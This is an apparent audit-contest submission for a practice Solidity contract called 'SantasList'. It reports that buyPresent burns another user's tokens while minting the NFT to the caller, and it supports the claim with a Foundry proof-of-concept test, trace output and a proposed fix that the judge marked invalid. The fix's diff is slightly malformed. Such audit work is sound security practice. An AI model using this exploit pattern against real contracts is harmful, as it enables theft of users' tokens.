Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Invalid

No `approve` check in the `SantasList::buyPresent`

Summary

No approve check in the SantasList::buyPresent function in the SantasList.sol contract.This allows anyone to use other users' tokens and receive NFTs at their address.

Vulnerability Details

The vulnerability is in the SantasList::buyPresent function in the SantasList.sol contract starting at line 172.

function buyPresent(address presentReceiver) external {
i_santaToken.burn(presentReceiver);
_mintAndIncrement();
}

Tokens are burned at presentReceiver and NFT receives msg.sender

Impact

An attacker can call the buyPresent() function and specify in presentReceiver any address of a user who has enough tokens to complete a transaction. In this way, the attacker gets the NFT at the expense of the presentReceiver tokens.

Tools Used

forge

Recommendations

Working Test Case

The next test calls the attacker and specifies the address of the victim who has the right number of tokens to perform the transaction.
When executed, this test will pass, demonstrating that the attacker can obtain NFTs at the expense of any user.

function testBuyPresent() public {
vm.prank(address(santasList));
santaToken.mint(victim);
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(attacker);
assertEq(santaToken.balanceOf(victim), 1e18);
santasList.buyPresent(victim);
assertEq(santaToken.balanceOf(victim), 0);
assertEq(santasList.balanceOf(attacker), 1);
}

Run the test:

forge test --mt testBuyPresent -vvvv

Which yields the following output:

Running 1 test for test/unit/SantasListTest.t.sol:SantasListTest
[PASS] testBuyPresent() (gas: 107802)
Traces:
[112015] SantasListTest::testBuyPresent()
├─ [0] VM::prank(SantasList: [0xE6E33783D6533ad50d373DDaa6fD21b272a57B69])
│ └─ ← ()
├─ [46713] SantaToken::mint(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], amount: 1000000000000000000 [1e18])
│ └─ ← ()
├─ [283] SantasList::CHRISTMAS_2023_BLOCK_TIME() [staticcall]
│ └─ ← 1703480381 [1.703e9]
├─ [0] VM::warp(1703480382 [1.703e9])
│ └─ ← ()
├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← ()
├─ [542] SantaToken::balanceOf(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF]) [staticcall]
│ └─ ← 1000000000000000000 [1e18]
├─ [58439] SantasList::buyPresent(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF])
│ ├─ [2348] SantaToken::burn(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF])
│ │ ├─ emit Transfer(from: victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], to: 0x0000000000000000000000000000000000000000, amount: 1000000000000000000 [1e18])
│ │ └─ ← ()
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], tokenId: 0)
│ └─ ← ()
├─ [542] SantaToken::balanceOf(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF]) [staticcall]
│ └─ ← 0
├─ [678] SantasList::balanceOf(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ └─ ← 1
└─ ← ()
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.17ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

  • Add an allowance check and if it fails the check should be revert error SantaToken__NotEnoughTokens()

function buyPresent(address presentReceiver) external {
+ if (
+ i_santaToken.allowance(presentReceiver, msg.sender) ==
+ PURCHASED_PRESENT_COST ||
+ presentReceiver == msg.sender
) {
i_santaToken.burn(presentReceiver);
_mintAndIncrement();
+ } else {
+ revert SantaToken__NotEnoughTokens();
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Other

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.